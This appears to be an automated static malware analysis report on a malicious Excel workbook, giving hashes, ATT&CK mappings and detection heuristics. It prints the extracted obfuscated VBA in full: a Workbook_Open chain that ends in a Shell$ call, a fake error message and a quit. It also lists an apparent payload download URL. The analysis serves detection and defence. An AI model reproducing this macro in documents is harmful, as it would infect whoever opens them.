Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 97d0abca6d3d3f96…

MALICIOUS

Office (OOXML)

106.6 KB Created: 2019-11-01 16:16:24 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-02-04
MD5: bcfe7081de0d87dbfde73c688b83b372 SHA-1: f577e6cff21c544795f2bea8af0cd9d790b0887d SHA-256: 97d0abca6d3d3f965614f9c012cd47a121c12e70308fa0212c178cefc6363976
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The OOXML file contains a Workbook_Open macro that utilizes the Shell() function. This macro is designed to execute an external program, as indicated by the critical heuristic firing. The embedded URL suggests a download location for a secondary payload, which is then likely executed. The obfuscated VBA code and the use of Shell() point towards a downloader or droppper functionality.

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    Private Sub ELjHyuEDBUpZUgMuIlGDYXHgFsLnDLiKgCtfXhHzGejWonzOGTXLfWGtqSrgRsYZaEhcqCXQJKdfnTcZutYeO()
Call VBA.Shell$(erthrtjryherghsethrtjrd.rehgehrtjthsthrtjsdhts.Tag)
MsgBox "An attempt was made to load a program with an incorrect format. Document will now EXIT and Open in Default."
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Option Explicit
Static Sub WORkbOOk_OPeN(): Call TYckreGbASFBXeFKhzDzVbInLFpCwTziozvscuotCBqmnJkNtHGNVHaHmUNhNDwrPTwTWALDpncexUhbirtiN: End Sub
Private Sub TYckreGbASFBXeFKhzDzVbInLFpCwTziozvscuotCBqmnJkNtHGNVHaHmUNhNDwrPTwTWALDpncexUhbirtiN()
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://jplymell.com/serb.xml In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2310 bytes
SHA-256: b523e73de42db5c96faf7911ecca94a14ab835d34eae8935a0c859ba2534f16d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub rhrhsrx()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Static Sub WORkbOOk_OPeN(): Call TYckreGbASFBXeFKhzDzVbInLFpCwTziozvscuotCBqmnJkNtHGNVHaHmUNhNDwrPTwTWALDpncexUhbirtiN: End Sub
Private Sub TYckreGbASFBXeFKhzDzVbInLFpCwTziozvscuotCBqmnJkNtHGNVHaHmUNhNDwrPTwTWALDpncexUhbirtiN()
Call GaGUAsYevrcUiWjhOlaJqzTtJmpuXFUMNbwXYggiMRluFOVabYnAbFIEjptpPxqJtQixqAMbUcARwQvPMGbdS
End Sub
Private Function GaGUAsYevrcUiWjhOlaJqzTtJmpuXFUMNbwXYggiMRluFOVabYnAbFIEjptpPxqJtQixqAMbUcARwQvPMGbdS() As Long
Call tckEJFriqRzosONEuYxSKXdzHTomzrpqlDwBTTYXVihBXUGmKoVoiDrBgLZxRrjbWNVbKANzzRXEvLJCpVJZX
End Function
Function tckEJFriqRzosONEuYxSKXdzHTomzrpqlDwBTTYXVihBXUGmKoVoiDrBgLZxRrjbWNVbKANzzRXEvLJCpVJZX() As Byte
Call feOnTSJllrXIDFrbbKUcevoFGAoeacKTKfxgPFQLfydJpaqzsFDboAZydgFFTkcuAKHEfzOXeGuruGXqTkrUc
End Function
Sub feOnTSJllrXIDFrbbKUcevoFGAoeacKTKfxgPFQLfydJpaqzsFDboAZydgFFTkcuAKHEfzOXeGuruGXqTkrUc()
Call ELjHyuEDBUpZUgMuIlGDYXHgFsLnDLiKgCtfXhHzGejWonzOGTXLfWGtqSrgRsYZaEhcqCXQJKdfnTcZutYeO
End Sub
Private Sub ELjHyuEDBUpZUgMuIlGDYXHgFsLnDLiKgCtfXhHzGejWonzOGTXLfWGtqSrgRsYZaEhcqCXQJKdfnTcZutYeO()
Call VBA.Shell$(erthrtjryherghsethrtjrd.rehgehrtjthsthrtjsdhts.Tag)
MsgBox "An attempt was made to load a program with an incorrect format. Document will now EXIT and Open in Default."
Application.Quit
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "erthrtjryherghsethrtjrd"
Attribute VB_Base = "0{114BFFF0-925A-4BFB-8840-0864B6E17978}{4B8F88B6-A72A-4020-BDD1-E5F6204BCE7C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 29184 bytes
SHA-256: 3f1c170e135c11c6dfb02163490cb740a702ac4f81b264c48831b8e55a67dabe
Detection
ClamAV: No threats found
Obfuscation or payload: likely
124 of 230 identifiers look randomly generated (e.g. 'tckEJFriqRzosONEuYxSKXdzHTomzrpqlDwBTTYX') — consistent with name-mangling obfuscation.

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